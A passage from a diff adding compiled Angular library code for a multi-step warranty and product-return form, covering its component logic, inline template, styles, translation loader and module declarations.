right,rgba(255,255,255,0),rgba(255,255,255,.4),rgba(255,255,255,0))}@keyframes progress{0%{background-position:-200px 0}to{background-position:calc(200px + 100%) 0}}\n"], directives: [{ type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i2.NgStyle, selector: "[ngStyle]", inputs: ["ngStyle"] }] });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SkeletonLoaderComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'skeleton-loader',
+                    templateUrl: './skeleton-loader.component.html',
+                    styleUrls: ['./skeleton-loader.component.scss']
+                }]
+        }], propDecorators: { type: [{
+                type: Input
+            }], show: [{
+                type: Input
+            }], repeat: [{
+                type: Input
+            }], margin: [{
+                type: Input
+            }], height: [{
+                type: Input
+            }] } });
+
+class WarrantyFormComponent {
+    constructor(translateService, warrantyService, warrantyFormService, validationService, stepsService, configService, serialService, warrantyDataMappingService) {
+        this.translateService = translateService;
+        this.warrantyService = warrantyService;
+        this.warrantyFormService = warrantyFormService;
+        this.validationService = validationService;
+        this.stepsService = stepsService;
+        this.configService = configService;
+        this.serialService = serialService;
+        this.warrantyDataMappingService = warrantyDataMappingService;
+        this.sent = new EventEmitter();
+        this.close = new EventEmitter();
+        this.redirect = new EventEmitter();
+        this.loaderSettingsHeader = { repeat: 1, height: '100px', margin: '12px' };
+        this.loaderSettingsLeft = { repeat: 2, height: '120px', margin: '12px' };
+        this.loaderSettingsRight = { repeat: 4, height: '48px', margin: '12px' };
+        this.destroy$ = new Subject();
+        this.localizedItems = [];
+        this.displaySendConfirmationEmailOption = false;
+        this.denmarkReturn = false;
+        this.askAdditionalContactsOption = false;
+        this.displayDataPrivacyOption = false;
+        this.validationErrors = [];
+        this.errorOnLoad = false;
+        this.caseSubmitted = false;
+        this.caseResponse = [];
+        this.sending = false;
+    }
+    ngOnInit() {
+        if (!this.configService.update(this.configuration, this.data, this.translateService)) {
+            this.errorOnLoad = true;
+            return;
+        }
+        ;
+        this.config = this.configService.getConfig();
+        const lang = `${this.config.defConfig.country}:::${this.config.defConfig.locale}`;
+        this.translateService.use(lang);
+        this.warrantyService.initService();
+        this.displaySendConfirmationEmailOption = this.config.defConfig.toggles.sendConfirmationEmailOption && this.config.isWarranty;
+        this.currentStep = this.stepsService.getCurrentStep();
+        this.loadingWarrantyData = true;
+        forkJoin([
+            this.warrantyService.getVendorList(),
+            this.warrantyService.getCategoryList(),
+            this.warrantyService.getVendorProducts(),
+            this.warrantyService.getRuleVendorProducts(),
+            this.warrantyService.getRuleOptions(this.config.defConfig.caseType),
+            this.warrantyService.getRequiredFields(),
+            this.warrantyService.getBlackListedArticles(),
+            this.warrantyService.getCnetCategories(),
+            this.translateService.getTranslation(this.translateService.currentLang)
+        ]).pipe(map(([vendors, productTypes, vendorProducts, ruleVendorProducts, ruleOptions, requiredFields, blackListedArticles, cneCategories, translations]) => {
+            let lines = [];
+            if (!this.config.OrderIsNull) {
+                lines = this.config.defData.orderLines.filter(l => this.orderlineIsValid(l, blackListedArticles));
+            }
+            else {
+                lines = [{ quantity: 1 }];
+            }
+            const transportOptions = [];
+            Object.entries(translations).filter(([key]) => key.indexOf("seTransportMethod") >= 0)
+                .forEach(([key, value]) => transportOptions.push(new TransportOption(key, typeof value === 'string' ? value.toString() : "")));
+            Object.entries(translations).forEach(([key, text]) => {
+                ruleOptions.forEach(o => {
+                    if (o.localizeVar === key) {
+                        o.nodeDescription = text;
+                    }
+                });
+            });
+            return new WarrantyData(vendors, productTypes, vendorProducts, ruleVendorProducts, ruleOptions, requiredFields, blackListedArticles, cneCategories, transportOptions, lines);
+        }), takeUntil(this.destroy$)).subscribe(result => {
+            this.warrantyData = result;
+            this.mainForm = this.warrantyFormService.createMainForm(this.config, this.warrantyData.orderLines);
+        }, (error) => {
+            console.error(error);
+            this.errorOnLoad = true;
+        });
+    }
+    get lines() {
+        return this.mainForm.get('lines');
+    }
+    getSerialNumber(form) {
+        return this.serialService.getSerialNumber(form);
+    }
+    orderlineIsValid(line, articles) {
+        if (!this.config.OrderIsNull) {
+            if (line) {
+                if (this.config.isCompletedOrderCase) {
+                    return !articles.includes(line.itemNo);
+                }
+                return true;
+            }
+        }
+        return false;
+    }
+    getInfoForm(form) {
+        return form.get("info");
+    }
+    getQuantity(form) {
+        return form.get("quantity");
+    }
+    hasSelectedSerial() {
+        if (this.lines) {
+            return this.mainForm.value.lines.some(l => l.serialNumbers.some(s => s.isChecked));
+        }
+        return false;
+    }
+    hasActiveLine() {
+        return this.lines.controls.some(l => l.value.isActive);
+    }
+    displayWarrantyInfo(form, defaultResult) {
+        if (form.value.isActive) {
+            if (this.config.isCompletedOrderCase) {
+                if (form.value.serialNumbers.length > 0)
+                    return form.value.serialNumbers.some(sn => sn.isChecked);
+                else
+                    return form.value.quantity > 0;
+            }
+            else if (form.value.serialNumbers.length > 0) {
+                return form.value.serialNumbers.some(sn => sn.isChecked);
+            }
+            else
+                return form.value.quantity > 0;
+        }
+        return defaultResult;
+    }
+    removeProductDescriptions(lineToUpdate) {
+        Object.keys(lineToUpdate).forEach(key => {
+            switch (key) {
+                case "vendor":
+                case "category":
+                case "reasonProductReturn":
+                    lineToUpdate.get(key).setValue('');
+                    break;
+                case "reqFields":
+                    lineToUpdate.get(key).setValue([]);
+                    break;
+                default:
+                    lineToUpdate.removeControl(key);
+            }
+        });
+    }
+    addProductDescriptions(infoForm, lineToUpdate) {
+        Object.keys(infoForm.controls).forEach(ct => {
+            switch (ct) {
+                case "vendor":
+                case "category":
+                case "reasonProductReturn":
+                    break;
+                case "reqFields":
+                    const reqFields = infoForm.get("reqFields");
+                    Object.keys(reqFields.controls).forEach(rf => {
+                        if (rf.startsWith(Constants.base64)) {
+                            lineToUpdate.get("reqFields").addControl(`${Constants.base64}${rf}`, new FormControl(''));
+                        }
+                        if (reqFields.controls[rf].hasValidator(Validators.required)) {
+                            lineToUpdate.get("reqFields").addControl(rf, new FormControl('', Validators.required));
+                        }
+                        else {
+                            lineToUpdate.get("reqFields").addControl(rf, new FormControl(''));
+                        }
+                    });
+                    break;
+                default:
+                    if (ct.startsWith("node-")) {
+                        lineToUpdate.addControl(ct, new FormControl('', Validators.required));
+                    }
+            }
+        });
+    }
+    fillSelectedDescriptions(evt) {
+        const infoForm = evt;
+        const lines = this.mainForm.get("lines");
+        for (let i = 0; i < lines.length; i++) {
+            if (!lines.at(i).get("isActive").value && lines.at(i).get("isChecked").value) {
+                const lineToUpdate = lines.at(i).get("info");
+                this.removeProductDescriptions(lineToUpdate);
+                this.addProductDescriptions(infoForm, lineToUpdate);
+                lines.at(i).patchValue({ info: infoForm.value, onlySelf: true });
+            }
+        }
+    }
+    ngOnDestroy() {
+        this.warrantyFormService.onDestroy();
+        this.destroy$.next(true);
+        this.destroy$.unsubscribe();
+    }
+    isValidForm() {
+        return this.validationService.isValidForm(this.mainForm);
+    }
+    isValidSubmit() {
+        return this.validationService.isValidSubmit(this.mainForm, this.sending);
+    }
+    addRemoveDisplayPrivacyOption() {
+        if (this.displayDataPrivacyOption) {
+            this.mainForm.addControl("agreeToDataPrivacyPolicy", new FormControl(false, Validators.requiredTrue));
+        }
+        else
+            this.mainForm.removeControl("agreeToDataPrivacyPolicy");
+    }
+    getFormGroup(groupName) {
+        return this.mainForm.get(groupName);
+    }
+    dataPrivacyEnabledForDK() {
+        return this.denmarkReturn && this.config.defConfig.toggles.dataPrivacy;
+    }
+    dataPrivacyEnabledForProduct(line) {
+        const privacyEnabled = new Map([["hasDamagedOrOpened", false], ["hasCargoNeedRepair", false]]);
+        const info = line.get("info");
+        Object.keys(info.controls).forEach(ct => {
+            if (ct.startsWith("node-") || ct === "reasonProductReturn") {
+                if (!Array.isArray(info.controls[ct].value)) {
+                    const opt = this.warrantyData.getRuleOption(info.controls[ct].value);
+                    switch (opt.localizeVar) {
+                        case RuleOptionEnum.packageDamaged:
+                        case RuleOptionEnum.discoveredWhenOpened:
+                            privacyEnabled.set("hasDamagedOrOpened", true);
+                            break;
+                        case RuleOptionEnum.cargoNeedRepair:
+                            privacyEnabled.set("hasCargoNeedRepair", true);
+                            break;
+                    }
+                }
+            }
+        });
+        if (privacyEnabled.get("hasCargoNeedRepair"))
+            return false;
+        if (privacyEnabled.get("hasDamagedOrOpened"))
+            return true;
+        return false;
+    }
+    displayDataPrivacy() {
+        var _a;
+        switch (this.config.defConfig.country) {
+            case CountriesEnum.SE:
+            case CountriesEnum.NO:
+            case CountriesEnum.FI:
+            case CountriesEnum.LT:
+            case CountriesEnum.LV:
+            case CountriesEnum.EE:
+                if (((_a = this.config.defConfig.toggles) === null || _a === void 0 ? void 0 : _a.dataPrivacy) === true)
+                    return true;
+                break;
+            case CountriesEnum.DK:
+                if (this.dataPrivacyEnabledForDK())
+                    return true;
+                break;
+        }
+        const lines = this.mainForm.get("lines");
+        for (let i = 0; i < lines.length; i++) {
+            const line = lines.at(i);
+            if (line.get("isChecked").value) {
+                return this.dataPrivacyEnabledForProduct(line);
+            }
+        }
+        return false;
+    }
+    askAdditionalContacts() {
+        let askAdditionalContacts = false;
+        if (this.config.defConfig.country === CountriesEnum.DK &&
+            this.config.isWarranty) {
+            const info = this.mainForm.get("lines").at(0).get("info");
+            Object.keys(info.controls).forEach(ct => {
+                if (ct.startsWith("node-") || ct === "reasonProductReturn") {
+                    const opt = this.warrantyData.getRuleOption(info.controls[ct].value);
+                    switch (opt.localizeVar) {
+                        case RuleOptionEnum.packageNotDamaged:
+                        case RuleOptionEnum.cargoNeedRepair:
+                            askAdditionalContacts = true;
+                            break;
+                    }
+                }
+            });
+        }
+        return askAdditionalContacts;
+    }
+    goBackward() {
+        this.stepsService.moveToPrevStep();
+    }
+    onNextStep() {
+        switch (this.stepsService.currentStep$.value.stepIndex) {
+            case 1:
+                this.denmarkReturn = !this.config.OrderIsNull
+                    && this.config.defConfig.country === CountriesEnum.DK
+                    && !this.config.isWarranty;
+                this.askAdditionalContactsOption = this.askAdditionalContacts();
+                this.displayDataPrivacyOption = this.displayDataPrivacy();
+                this.addRemoveDisplayPrivacyOption();
+                const customerDetails = this.warrantyFormService.createCustomerDetailsForm();
+                this.mainForm.addControl("customerDetails", customerDetails);
+                this.stepsService.moveToNextStep();
+                break;
+            case 2:
+                this.send();
+                break;
+        }
+    }
+    send() {
+        this.validationErrors = [];
+        this.warrantyDataMappingService.ensureConfig();
+        const sendData = this.warrantyDataMappingService.createSendData(this.mainForm, this.warrantyData);
+        if (sendData.length > 0) {
+            sendData[0].app.type = this.config.defConfig.system;
+            this.sending = true;
+            this.warrantyService.createCase(sendData)
+                .pipe(takeUntil(this.destroy$))
+                .subscribe(r => {
+                this.caseResponse = r;
+                this.caseSubmitted = true;
+                if (!this.config.defConfig.isAnonymous) {
+                    const lastUsedDetails = this.warrantyDataMappingService.createLastUsedDetails(sendData[0]);
+                    this.sent.emit(lastUsedDetails);
+                }
+                this.stepsService.moveToNextStep();
+            }, (err) => {
+                console.error(err);
+                if (err.status === 400 && err.data.toLowerCase().indexOf("customer number not found") > -1) {
+                    this.validationErrors.push("wf.invalidCustomerNumber");
+                }
+                else {
+                    this.validationErrors.push("wf.genericerror");
+                }
+                this.caseSubmitted = false;
+            }, () => { this.sending = false; });
+        }
+    }
+    redirectToTicket(event) {
+        this.redirect.emit(event);
+    }
+    closeForm() {
+        if (!this.config.defConfig.isAnonymous) {
+            this.close.emit();
+        }
+        else {
+            location.reload();
+        }
+    }
+}
+WarrantyFormComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormComponent, deps: [{ token: i4.TranslateService }, { token: WarrantyService }, { token: WarrantyFormService }, { token: WarrantyValidationService }, { token: StepsService }, { token: ConfigService }, { token: SerialNumberService }, { token: WarrantyDataMappingService }], target: i0.ɵɵFactoryTarget.Component });
+WarrantyFormComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WarrantyFormComponent, selector: "lib-warranty-form", inputs: { configuration: "configuration", data: "data" }, outputs: { sent: "sent", close: "close", redirect: "redirect" }, providers: [TranslateService, WarrantyService, WarrantyFormService, WarrantyValidationService,
+        StepsService, SerialNumberService, WarrantyDataMappingService], ngImport: i0, template: "<div *ngIf=\"!errorOnLoad; else cantConnect\">\r\n    <div class=\"page-container\"\r\n         [formGroup]=\"mainForm\"\r\n         *ngIf=\"warrantyData; else loading\">\r\n\r\n        <form-header *ngIf=\"!config.defConfig.isAnonymous && !config.OrderIsNull && !caseSubmitted\"\r\n                     [configuration]=\"config\">\r\n        </form-header>\r\n\r\n        <ng-container [ngSwitch]=\"(currentStep | async)?.stepIndex\">\r\n            <ng-container *ngSwitchCase=\"'1'\">\r\n                <div class=\"component-container\">\r\n\r\n                    <warranty-products class=\"return__products\"\r\n                                       [configuration]=\"config\"\r\n                                       [warrantyForm]=\"mainForm\"\r\n                                       [orderLines]=\"warrantyData.orderLines\"\r\n                                       [lines]=\"lines\">\r\n                    </warranty-products>\r\n\r\n                    <div class=\"return__info\"\r\n                         formArrayName=\"lines\"\r\n                         *ngIf=\"hasActiveLine() else chooseItem\">\r\n\r\n                        <div *ngFor=\"let lineForm of lines.controls; index as i\">\r\n\r\n                            <div *ngIf=\"displayWarrantyInfo(lineForm, true); else chooseItem\">\r\n                                <warranty-info *ngIf=\"displayWarrantyInfo(lineForm, false)\"\r\n                                               [infoForm]=\"getInfoForm(lineForm)\"\r\n                                               [quantity]=\"getQuantity(lineForm)\"\r\n                                               [orderLineIndex]=\"i\"\r\n                                               [warrantyData]=\"warrantyData\"\r\n                                               [serialNumber]=\"getSerialNumber(lineForm)\"\r\n                                               [configuration]=\"config\"\r\n                                               (fillDescriptions)=\"fillSelectedDescriptions($event)\"\r\n                                               (continue)=\"onNextStep()\">\r\n                                </warranty-info>\r\n                            </div>\r\n                        </div>\r\n                    </div>\r\n                </div>\r\n                <div *ngIf=\"config.isCompletedOrderCase\"\r\n                     class=\"return__forward\">\r\n                    <span class=\"return__forward--tip\">{{\"wf.continueWithCompleteOrder\"|translate}}</span>\r\n                    <ad-button [disabled]=\"!isValidForm()\"\r\n                               size=\"large\"\r\n                               variant=\"primary\"\r\n                               (onClick)=\"onNextStep()\">{{'wf.continue'|translate}}\r\n                        <ad-icon [name]=\"'ic_arrow-right.svg'\"></ad-icon>\r\n                    </ad-button>\r\n                </div>\r\n            </ng-container>\r\n            <ng-container *ngSwitchCase=\"'2'\">\r\n                <warranty-preview [configuration]=\"config\"\r\n                                  [warrantyForm]=\"mainForm\"\r\n                                  [warrantyData]=\"warrantyData\">\r\n                </warranty-preview>\r\n                <contact-details [configuration]=\"config\"\r\n                                 [askAdditionalContacts]=\"askAdditionalContactsOption\"\r\n                                 [customerDetailsForm]=\"getFormGroup('customerDetails')\">\r\n                </contact-details>\r\n                <ad-checkbox *ngIf=\"displaySendConfirmationEmailOption\"\r\n                             formControlName=\"sendConfirmationEmailEnabled\"\r\n                             [required]=\"true\">{{\"wf.sendconfirmationemail\"|translate}}\r\n                </ad-checkbox>\r\n                <ad-checkbox *ngIf=\"config.defConfig.toggles.warrantyAlternativeContact\"\r\n                             formControlName=\"alternativeContactEnabled\"\r\n                             [required]=\"true\">{{\"wf.alternativecontactLabel\"|translate}}\r\n                </ad-checkbox>\r\n                <alternative-contact class=\"alt-contact\"\r\n                                     *ngIf=\"config.defConfig.toggles.warrantyAlternativeContact && mainForm.value.alternativeContactEnabled\"\r\n                                     [alternativeContactForm]=\"getFormGroup('alternativeContact')\">\r\n                </alternative-contact>\r\n\r\n                <ad-checkbox formControlName=\"agreeThatInfoIsCorrect\"\r\n                             [required]=\"true\"><strong>{{(!denmarkReturn ? \"wf.readthrough\" :\r\n                        \"wf.readthroughDK\")|translate}}</strong>\r\n                </ad-checkbox>\r\n\r\n                <ad-checkbox *ngIf=\"displayDataPrivacyOption\"\r\n                             formControlName=\"agreeToDataPrivacyPolicy\"\r\n                             [required]=\"true\">\r\n                    <span class=\"privacy\"\r\n                          [innerHtml]=\"'wf.dataPrivacy' + config.defConfig.country|translate\"></span>\r\n                </ad-checkbox>\r\n\r\n                <div *ngIf=\"validationErrors?.length > 0\">\r\n                    <div class=\"color__red\">\r\n                        <span *ngFor=\"let err of validationErrors\">\r\n                            {{err|translate}}\r\n                        </span>\r\n                    </div>\r\n                </div>\r\n\r\n                <span class=\"return__forward--tip\"\r\n                      *ngIf=\"config.defConfig.isSupportMode\">{{\"wf.adminotpermitted\"|translate}}</span>\r\n                <div class=\"flex--row button--section\">\r\n                    <span class=\"go__backward\"\r\n                          (click)=\"goBackward()\">{{\"wf.changebtn\"|translate}}</span>\r\n\r\n                    <ad-button [disabled]=\"!config.defConfig.isSupportMode && !isValidSubmit()\"\r\n                               size=\"large\"\r\n                               variant=\"primary\"\r\n                               [loading]=\"sending\"\r\n                               (onClick)=\"onNextStep()\">{{\"wf.formSubmitCustomerService\"|translate}}\r\n                        <ad-icon [name]=\"'ic_send.svg'\"></ad-icon>\r\n                    </ad-button>\r\n                </div>\r\n            </ng-container>\r\n            <ng-container *ngSwitchCase=\"'3'\">\r\n                <warranty-success [configuration]=\"config\"\r\n                                  [caseResponses]=\"caseResponse\"\r\n                                  (redirect)=\"redirectToTicket($event)\"\r\n                                  (close)=\"closeForm()\"></warranty-success>\r\n            </ng-container>\r\n        </ng-container>\r\n    </div>\r\n</div>\r\n\r\n<ng-template #chooseItem>\r\n    <div class=\"info info--choose\">\r\n        <p>{{\"wf.chooseitem\"|translate}}</p>\r\n    </div>\r\n</ng-template>\r\n\r\n<ng-template #cantConnect>\r\n    <div class=\"info error\">\r\n        <p>Can not process your request</p>\r\n        <p>Please try again later</p>\r\n    </div>\r\n</ng-template>\r\n\r\n<ng-template #loading>\r\n    <div class=\"page-container\">\r\n\r\n        <div class=\"skeleton-header\">\r\n            <skeleton-loader class=\"\"\r\n                             [show]=\"true\"\r\n                             [height]=\"loaderSettingsHeader.height\"\r\n                             [margin]=\"loaderSettingsHeader.margin\"\r\n                             [repeat]=\"1\">\r\n            </skeleton-loader>\r\n        </div>\r\n        <div class=\"loading-container\">\r\n\r\n            <skeleton-loader class=\"return__products\"\r\n                             [show]=\"true\"\r\n                             [height]=\"loaderSettingsLeft.height\"\r\n                             [margin]=\"loaderSettingsLeft.margin\"\r\n                             [repeat]=\"loaderSettingsLeft.repeat\">\r\n            </skeleton-loader>\r\n\r\n            <skeleton-loader class=\"return__info\"\r\n                             [show]=\"true\"\r\n                             [height]=\"loaderSettingsRight.height\"\r\n                             [margin]=\"loaderSettingsRight.margin\"\r\n                             [repeat]=\"loaderSettingsRight.repeat\">\r\n            </skeleton-loader>\r\n        </div>\r\n    </div>\r\n</ng-template>", styles: [":root{--color-primary: hsl(202, 9%, 33%);--color-secondary: hsl(87, 69%, 30%);--color-grey-40-dark: hsl(202, 9%, 13%);--color-grey-20-dark: hsl(202, 9%, 23%);--color-grey: hsl(202, 9%, 33%);--color-grey-20-light: hsl(202, 9%, 43%);--color-grey-40-light: hsl(202, 9%, 53%);--color-grey-60-light: hsl(202, 9%, 63%);--color-grey-80-light: hsl(202, 9%, 73%);--color-grey-100-light: hsl(202, 9%, 93%);--color-green: #008a00;--color-green-hover: #007c00;--text-standard-color: var(--color-grey-40-dark);--background-standard-hover-color: hsl(180, 5%, 96%);--color-btn-primary-default: hsl(202, 9%, 33%);--color-btn-primary-hover: hsl(200, 9%, 13%);--color-btn-primary-label: hsl(255, 100%, 100%);--color-btn-secondary-default: hsl(87, 69%, 40%);--color-btn-secondary-hover: hsl(87, 69%, 30%);--color-btn-secondary-label: hsl(255, 100%, 100%);--color-btn-danger-default: hsl(358, 56%, 50%);--color-btn-danger-hover: hsl(358, 56%, 42%);--color-btn-danger-label: hsl(255, 100%, 100%);--color-btn-disabled-default: hsl(200, 14%, 60%);--color-btn-disabled-label: hsl(255, 100%, 100%);--color-white: hsl(255, 100%, 100%);--transition-btn: cubic-bezier(.4, 0, 1, 1);--element-scrollbar-thumb: hsl(204, 4.9%, 60%);--element-scrollbar-track: hsl(180, 2.9%, 93.1%)}.skeleton-header{padding-right:30px;margin-left:-5px}.loading-container{display:flex}.loading-container .return__products{display:flex;flex-direction:column;margin:0 0 0 -20px;padding:30px 30px 0 calc(30px - 15px);width:50%}.loading-container .return__info{display:flex;flex-direction:column;padding:30px 30px 0;width:52%;border-left:1px solid #dbdddf}.component-container{display:flex;width:100%;min-height:calc(100vh - (90px * 2) - 100px)}.component-container .return__products{display:flex;flex-direction:column;margin:0 0 0 -15px;padding:30px 30px 0 calc(30px - 15px);position:relative;width:50%}.component-container .return__info{flex-shrink:0;display:flex;flex-direction:column;border-left:1px solid #dbdddf;animation:fadeInSlideIn .55s;width:52%}.component-container .return__info .info--choose{justify-content:center;align-items:center;padding:0 0 26px;width:auto;height:calc(100vh - (90px * 2) - 100px)}.component-container .return__info .info--choose p{font-size:16;font-weight:600}.info{display:flex;flex-direction:column;width:52%}.info.info--choose{justify-content:center;align-items:center;padding:0 0 26px}.info.info--choose p{font-size:16;font-weight:600}.info.error{width:100%;height:90vh;justify-content:center;align-items:center;padding:0 0 26px}.info.error p{margin:0;font-size:16;font-weight:600}.return__forward{border-top:1px solid #dbdddf;justify-content:flex-end;align-items:center;display:flex;padding:15px 0 0}.return__forward--tip{color:#4d575d;font-weight:600;margin:1px 60px 0 0}.return__forward ad-button{border-top-width:0px}.alt-contact{margin-bottom:20px}.flex--row{display:flex;flex-wrap:wrap;flex-direction:row}.flex--row.button--section{align-items:center;margin-bottom:20px}.go__backward{margin:0 25px 0 16px;text-decoration:none;color:#4d575d;background-color:transparent;cursor:pointer}.disabled{pointer-events:none}.color__red{color:#d62429}\n"], components: [{ type: FormHeaderComponent, selector: "form-header", inputs: ["configuration"] }, { type: WarrantyProductsComponent, selector: "warranty-products", inputs: ["configuration", "orderLines", "warrantyForm", "lines"] }, { type: WarrantyInfoComponent, selector: "warranty-info", inputs: ["configuration", "infoForm", "warrantyData", "orderLineIndex", "serialNumber", "quantity"], outputs: ["fillDescriptions", "continue"] }, { type: i1$1.ButtonComponent, selector: "ad-button", inputs: ["type", "variant", "width", "size", "className", "loading", "disabled"], outputs: ["onClick"] }, { type: i1$1.ɵe, selector: "ad-icon", inputs: ["size", "color", "width", "height", "placement", "name", "title"] }, { type: WarrantyPreviewComponent, selector: "warranty-preview", inputs: ["configuration", "warrantyForm", "warrantyData"] }, { type: ContactDetailsComponent, selector: "contact-details", inputs: ["configuration", "customerDetailsForm", "askAdditionalContacts"] }, { type: i1$1.ToggleCheckboxComponent, selector: "ad-checkbox", inputs: ["id", "disabled"] }, { type: AlternativeContactComponent, selector: "alternative-contact", inputs: ["alternativeContactForm"] }, { type: WarrantySuccessComponent, selector: "warranty-success", inputs: ["configuration", "caseResponses", "reference"], outputs: ["close", "redirect"] }, { type: SkeletonLoaderComponent, selector: "skeleton-loader", inputs: ["type", "show", "repeat", "margin", "height"] }], directives: [{ type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i3.NgControlStatusGroup, selector: "[formGroupName],[formArrayName],[ngModelGroup],[formGroup],form:not([ngNoForm]),[ngForm]" }, { type: i3.FormGroupDirective, selector: "[formGroup]", inputs: ["formGroup"], outputs: ["ngSubmit"], exportAs: ["ngForm"] }, { type: i2.NgSwitch, selector: "[ngSwitch]", inputs: ["ngSwitch"] }, { type: i2.NgSwitchCase, selector: "[ngSwitchCase]", inputs: ["ngSwitchCase"] }, { type: i3.FormArrayName, selector: "[formArrayName]", inputs: ["formArrayName"] }, { type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i3.NgControlStatus, selector: "[formControlName],[ngModel],[formControl]" }, { type: i3.FormControlName, selector: "[formControlName]", inputs: ["disabled", "formControlName", "ngModel"], outputs: ["ngModelChange"] }, { type: i3.RequiredValidator, selector: ":not([type=checkbox])[required][formControlName],:not([type=checkbox])[required][formControl],:not([type=checkbox])[required][ngModel]", inputs: ["required"] }], pipes: { "async": i2.AsyncPipe, "translate": i4.TranslatePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'lib-warranty-form',
+                    templateUrl: './warranty-form.component.html',
+                    styleUrls: ['./warranty-form.component.scss'],
+                    providers: [TranslateService, WarrantyService, WarrantyFormService, WarrantyValidationService,
+                        StepsService, SerialNumberService, WarrantyDataMappingService]
+                }]
+        }], ctorParameters: function () { return [{ type: i4.TranslateService }, { type: WarrantyService }, { type: WarrantyFormService }, { type: WarrantyValidationService }, { type: StepsService }, { type: ConfigService }, { type: SerialNumberService }, { type: WarrantyDataMappingService }]; }, propDecorators: { configuration: [{
+                type: Input
+            }], data: [{
+                type: Input
+            }], sent: [{
+                type: Output
+            }], close: [{
+                type: Output
+            }], redirect: [{
+                type: Output
+            }] } });
+
+function WarrantyHttpLoaderFactory(http, configService) {
+    return new WarrantyTranslateLoaderFactory(http, configService);
+}
+class WarrantyTranslateLoaderFactory {
+    constructor(httpClient, configService) {
+        this.httpClient = httpClient;
+        this.configService = configService;
+    }
+    getTranslation(lang) {
+        const localeInfo = lang.split(":::");
+        const country = localeInfo[0];
+        const locale = localeInfo[1];
+        const url = `${this.configService.getUrl()}locale?country=${country}&locale=${locale}`;
+        const options = this.configService.getHttpOptions();
+        return this.httpClient.get(url, options)
+            .pipe(map((x) => {
+            const translations = {};
+            if ((x === null || x === void 0 ? void 0 : x.length) > 0) {
+                const items = x;
+                items.forEach(t => { translations[t.varFriendlyName] = t.text; });
+            }
+            return translations;
+        }));
+    }
+}
+
+const ErroMesasgeFactory = (translateService) => {
+    return {
+        required: (error) => translateService.instant("wf.inputrequired"),
+        maxlength: ({ requiredLength, actualLength }) => {
+            const strTemplate = translateService.instant("wf.fieldmaxlength");
+            const replacements = { "%requiredLength%": requiredLength, "%actualLength%": actualLength };
+            const result = strTemplate.replace(/%\w+%/g, all => replacements[all] || all);
+            return result;
+        },
+        forbiddenValue: (email) => translateService.instant(email.message),
+        maxFiles: (value) => {
+            const strTemplate = translateService.instant("wf.fieldmaxfiles");
+            const replacements = { "%maxFiles%": value };
+            const result = strTemplate.replace(/%\w+%/g, all => replacements[all] || all);
+            return result;
+        },
+        maxFileSize: (value) => {
+            const strTemplate = translateService.instant("wf.fieldmaxfilesize");
+            const replacements = { "%maxFileSize%": value };
+            const result = strTemplate.replace(/%\w+%/g, all => replacements[all] || all);
+            return result;
+        },
+        fileTypeNotSupported: (value) => {
+            const supported = value.supportedTypes.join(", *");
+            const strTemplate = translateService.instant("wf.fieldfiletypenotsupported");
+            const replacements = { "%supportedFiles%": supported };
+            const result = strTemplate.replace(/%\w+%/g, all => replacements[all] || all);
+            return result;
+        }
+    };
+};
+
+const translateModule = TranslateModule.forChild({
+    loader: {
+        provide: TranslateLoader,
+        useFactory: WarrantyHttpLoaderFactory,
+        deps: [HttpClient, ConfigService]
+    },
+    isolate: true
+});
+class WarrantyFormModule {
+}
+WarrantyFormModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
+WarrantyFormModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormModule, declarations: [SkeletonLoaderComponent,
+        FormHeaderComponent,
+        HelpMessageComponent,
+        InvoiceDataComponent,
+        WarrantyInfoComponent,
+        WarrantyPreviewItemComponent,
+        WarrantyPreviewComponent,
+        ContactDetailsComponent,
+        AlternativeContactComponent,
+        WarrantyProductsComponent,
+        WarrantySuccessComponent,
+        WarrantyFormComponent], imports: [CommonModule,
+        ButtonModule,
+        TextInputModule,
+        CheckboxModule,
+        RadioModule,
+        FileInputModule,
+        SelectModule,
+        TextareaInputModule,
+        DatePickerModule,
+        IconModule,
+        ReactiveFormsModule, i1$2.InlineSVGModule, i4.TranslateModule], exports: [WarrantyFormComponent] });
+WarrantyFormModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormModule, providers: [
+        //TranslateService,
+        {
+            provide: COMMON_DESIGN_ERRORS,
+            useFactory: ErroMesasgeFactory,
+            deps: [TranslateService]
+        }
+    ], imports: [[
+            CommonModule,
+            ButtonModule,
+            TextInputModule,
+            CheckboxModule,
+            RadioModule,
+            FileInputModule,
+            SelectModule,
+            TextareaInputModule,
+            DatePickerModule,
+            IconModule,
+            ReactiveFormsModule,
+            InlineSVGModule.forRoot({ baseUrl: 'https://design.atea.com/assets/icons/' }),
+            translateModule
+        ]] });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyFormModule, decorators: [{
+            type: NgModule,
+            args: [{
+                    declarations: [
+                        SkeletonLoaderComponent,
+                        FormHeaderComponent,
+                        HelpMessageComponent,
+                        InvoiceDataComponent,
+                        WarrantyInfoComponent,
+                        WarrantyPreviewItemComponent,
+                        WarrantyPreviewComponent,
+                        ContactDetailsComponent,
+                        AlternativeContactComponent,
+                        WarrantyProductsComponent,
+                        WarrantySuccessComponent,
+                        WarrantyFormComponent
+                    ],
+                    imports: [
+                        CommonModule,
+                        ButtonModule,
